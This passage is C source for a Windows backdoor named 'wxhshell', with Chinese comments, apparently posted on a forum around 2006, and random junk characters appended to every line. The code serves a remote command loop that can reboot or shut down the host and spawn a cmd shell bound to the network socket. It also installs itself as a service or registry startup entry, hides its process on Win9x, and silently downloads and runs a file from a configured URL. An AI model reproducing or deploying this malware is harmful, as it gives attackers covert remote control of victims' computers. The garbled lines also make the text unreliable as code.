  else :vG0 l\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~8u *sy  
  } iI";m0Ny  
  else { Gw$5<%sB  
~<n.5q%Z  
    switch(cmd[0]) { )B0%"0?`8  
  0O>ClE~P  
  // 帮助 ~;#}aQYo  
  case '?': { mA+:)?e5~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ()l3X.t,$  
    break; mL48L57Z  
  }  Q}L?o  
  // 安装 yW= +6@A4  
  case 'i': { hyf ;f7`o  
    if(Install()) 71{jedT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A+0-pF2D  
    else }QE*-GVv]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u/u(Z&  
    break; c Pf_B=  
    } #6< 1 =I'j  
  // 卸载 OpEH4X.Z  
  case 'r': { ?e<2'\5v  
    if(Uninstall()) }ARA K^%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K8_v5  
    else HT.*r6Y>g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ! I0xq"  
    break; 7}UG&t{  
    } 6_bL<:xtY  
  // 显示 wxhshell 所在路径 =zcvR {Dkp  
  case 'p': { CC`_e^~y=F  
    char svExeFile[MAX_PATH]; R; c9)>8L  
    strcpy(svExeFile,"\n\r"); kygw}|, N  
      strcat(svExeFile,ExeFile); g=56|G7n  
        send(wsh,svExeFile,strlen(svExeFile),0); 96(Mu% l  
    break; 6^ [ 4.D  
    } |2u=3#Jp  
  // 重启 ZhA_d#qH  
  case 'b': { sjg`4^!wDD  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); | :-i[G?n  
    if(Boot(REBOOT)) "a8E0b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .PUp3X-  
    else { !{t|z=Qg  
    closesocket(wsh); _y^r==  
    ExitThread(0); 5o dT\>Sn  
    } -$Hu $Y}>  
    break; +SH{`7r  
    } SXm%X(JU  
  // 关机 RDp  
  case 'd': { (O5Yd 6u  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); rm,`M  
    if(Boot(SHUTDOWN)) W8^m-B&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WR"D7{>tw  
    else { YOD.y!.zq7  
    closesocket(wsh); TQF+aP8[L  
    ExitThread(0); %'=*utOxy  
    } i.vH$  
    break; R}M ;, G  
    } IT_I.5*A2  
  // 获取shell :eVZ5?F  
  case 's': { ]]O( IC  
    CmdShell(wsh); |h\7Q1,1~2  
    closesocket(wsh); I4X9RYB6c  
    ExitThread(0); "%gsGtS  
    break; tNi>TkC}`  
  } `x9Eo4(/  
  // 退出 !wfW0?eu  
  case 'x': { 9Ux(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); MYWkEv7  
    CloseIt(wsh); _{Kmj,q  
    break; Cku"vVw,  
    } bP&QFc  
  // 离开 5QMra5Nk  
  case 'q': { %L+q:naZe  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); L=4+rshl!_  
    closesocket(wsh); l<`>  
    WSACleanup(); (90/,@6 6l  
    exit(1); _fHml   
    break; lT^su'+bk  
        } 52e>f5m.  
  } <W"W13*j!  
  } O,Q.-  
br[iRda@  
  // 提示信息 Rm} ym9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z~ cW,  
} WTJ 0Q0U  
  } 1`&`y%c?B  
hxO}'`:  
  return; bO=|utpk  
}  x]+PWk  
"jFf}"  
// shell模块句柄 s<9g3Gh  
int CmdShell(SOCKET sock) 6l]X{A.  
{ A9$x8x*Lt  
STARTUPINFO si; o$rjGa l  
ZeroMemory(&si,sizeof(si)); k {*QU(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ysW})#7X  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >NRppPqL  
PROCESS_INFORMATION ProcessInfo; %;,fI'M  
char cmdline[]="cmd"; ci~#G[_$S  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^`&'u_B!+  
  return 0; r7m~.M+W"  
} b dgkA  
H@Z_P p?  
// 自身启动模式 ;)(g$r^_i  
int StartFromService(void) .-KI,IU  
{ $5R2QNg n  
typedef struct cMw<3u\  
{ D0D=;k   
  DWORD ExitStatus; BzzC|  
  DWORD PebBaseAddress; UlYFloZ  
  DWORD AffinityMask; @r TB&>`  
  DWORD BasePriority; m@td[^O-  
  ULONG UniqueProcessId; =RQF::[h  
  ULONG InheritedFromUniqueProcessId; 52w@.]  
}   PROCESS_BASIC_INFORMATION; a5 D|#9  
G,u=ngZ]  
PROCNTQSIP NtQueryInformationProcess; R6+)&:Ab{R  
 \i%'M%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; HN7CcE+l  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +[7~:e}DZ  
:GXF=Df  
  HANDLE             hProcess; pHV^K v#  
  PROCESS_BASIC_INFORMATION pbi; r;#"j%z  
;CYoc4e  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _fHC+lwN  
  if(NULL == hInst ) return 0; B/twak\  
bdg6B7%Q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^#9385  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); X0lPRk53(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); u_(~zs.N]  
l4bytI{63  
  if (!NtQueryInformationProcess) return 0; ig,.>'+l  
o*cu-j3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ujU,O%.n  
  if(!hProcess) return 0; z*\_+u~u  
-@pjEI  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; VW-qQe  
B~p%pT S+  
  CloseHandle(hProcess); !J$r|IX5  
k^J8 p#`6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8<=^Rkz  
if(hProcess==NULL) return 0; o?`FjZ6;x  
i?x gV_q;  
HMODULE hMod; mMAN* }`O  
char procName[255]; ?Nos;_/  
unsigned long cbNeeded; }Q\%tZC#T  
q~ H>rC(\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); x/*lNG/  
to={q CqU  
  CloseHandle(hProcess); "H-s_Y#  
dljE.peL  
if(strstr(procName,"services")) return 1; // 以服务启动 c4Ebre-Oa  
ARKM[]  
  return 0; // 注册表启动 NXW*{b  
} u,^CFws_  
hFrMOc&  
// 主模块 OM86C  
int StartWxhshell(LPSTR lpCmdLine) |5&+VI  
{ GEc6;uz<  
  SOCKET wsl; 0U '"@A \  
BOOL val=TRUE; Y|>dS8f;4  
  int port=0; VoU8I ~  
  struct sockaddr_in door; {)[o*+9  
YvR bM  
  if(wscfg.ws_autoins) Install(); r/YJ,2!  
ij" ~]I  
port=atoi(lpCmdLine); acd[rjeT  
A;oHji#*  
if(port<=0) port=wscfg.ws_port; ci0A!wWD  
Q]ersA8 V>  
  WSADATA data; |Y9>kXMl  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F.9}jd{  
hZ&KE78?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Pfd1[~,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); FuhmLm'p  
  door.sin_family = AF_INET; broLC5hbQU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); rB>ge]$.  
  door.sin_port = htons(port); mQ"~x]  
"Ep"$d  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { eg0_ <  
closesocket(wsl); iq#{*:1  
return 1; "+HJ/8Dd1  
} 70'OS:J=\  
LEb$Fd  
  if(listen(wsl,2) == INVALID_SOCKET) { s,z~qL6&  
closesocket(wsl); 19 !?oeOU  
return 1; *1|7%*!8  
} ACszx\[K3  
  Wxhshell(wsl); ,06Sm]4L,  
  WSACleanup(); 9vI~vl l  
w"hd_8cO  
return 0; BU`X_Z1)  
;%tFi  
} odv2(\  
7'0Vb !(  
// 以NT服务方式启动 kiTC)S=])  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ji4p6$ .j-  
{ >F/^y O  
DWORD   status = 0; +VIA@`4  
  DWORD   specificError = 0xfffffff; 0vY_  
(3Db}Hnn  
  serviceStatus.dwServiceType     = SERVICE_WIN32; je] DR~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; '&IGdB I  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I"Oq< _  
  serviceStatus.dwWin32ExitCode     = 0; o Pe|Gfv\G  
  serviceStatus.dwServiceSpecificExitCode = 0; X/5m}-6d]  
  serviceStatus.dwCheckPoint       = 0; `#""JTA"  
  serviceStatus.dwWaitHint       = 0; i]8O?Ab>?  
s68(jYC7[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); dlu*s(O"  
  if (hServiceStatusHandle==0) return; ?qh-#,O9B  
hnj\|6L  
status = GetLastError(); ,9&cIUH  
  if (status!=NO_ERROR) !_fDL6a-  
{ ?UnQ?F(+G<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Jf YgZ\#  
    serviceStatus.dwCheckPoint       = 0; rH@Rh}#yp  
    serviceStatus.dwWaitHint       = 0; \8vP"Kr  
    serviceStatus.dwWin32ExitCode     = status; a4Q@sn;]  
    serviceStatus.dwServiceSpecificExitCode = specificError; O1c%XwMn^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -|>~I#vY  
    return; G m~ ./-  
  } `DM%a~^yg  
sf*4|P}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; P9v(5Z00|d  
  serviceStatus.dwCheckPoint       = 0; H:fKv7XL  
  serviceStatus.dwWaitHint       = 0; I}C2;[aB  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v$ ti=uk$  
} m2]N%Y  
o[Iu9.zJpy  
// 处理NT服务事件,比如:启动、停止 f{BF%;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) AuNUW0/ 7  
{ 4f LRl-)  
switch(fdwControl) u`MM K4 %  
{ hD6BP  
case SERVICE_CONTROL_STOP: d NACE*g;q  
  serviceStatus.dwWin32ExitCode = 0; lF}[ YL  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @16GF!.  
  serviceStatus.dwCheckPoint   = 0; p9v:T1 ?  
  serviceStatus.dwWaitHint     = 0; 7=-Yxt  
  { 8>KUx]AN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1lw%RM  
  } ~\":o:qyc  
  return; {>>X3I  
case SERVICE_CONTROL_PAUSE: 3?Pg ;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; zPt<b!q  
  break; `Ba]i)!  
case SERVICE_CONTROL_CONTINUE: #g{R+#fm  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Yy*=@qu>g  
  break; fi?4!h  
case SERVICE_CONTROL_INTERROGATE: DbGS]k<$  
  break; O8]e(i  
}; yD+4YD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C`5'5/-.  
} yl[I'fX66  
Ss[[V(-  
// 标准应用程序主函数  -WC0W  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) j|!,^._i  
{ (< +A  w7  
(Pc>D';{S  
// 获取操作系统版本 Fh#QS'[  
OsIsNt=GetOsVer(); 7l* &Fh9;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); e]4$H.dP  
2<D| {  
  // 从命令行安装 X^\D"fmE.  
  if(strpbrk(lpCmdLine,"iI")) Install(); \n<! ld  
2B_|"J  
  // 下载执行文件 t2[/eM.G  
if(wscfg.ws_downexe) { vJWBr:`L  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JR!-1tnc  
  WinExec(wscfg.ws_filenam,SW_HIDE); jTa\I&s,A  
} 1wFu3fh@  
5B=uvp|Y  
if(!OsIsNt) { "*d6E}wG  
// 如果时win9x,隐藏进程并且设置为注册表启动 s6H.Q$3L  
HideProc(); a?[[F{X9^  
StartWxhshell(lpCmdLine); Iz0$T.T  
} Q'OtXs 80  
else EBy7wU`S  
  if(StartFromService()) $1yy;IyR  
  // 以服务方式启动 ]az(w&vqg2  
  StartServiceCtrlDispatcher(DispatchTable); { 4J.  
else U1 _"D+XB  
  // 普通方式启动 T^v763%  
  StartWxhshell(lpCmdLine); .a4,Lr#q.  
o[Ffa# sE  
return 0; 56;u 7  
}
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只看该作者 1 发表于: 2006-10-10
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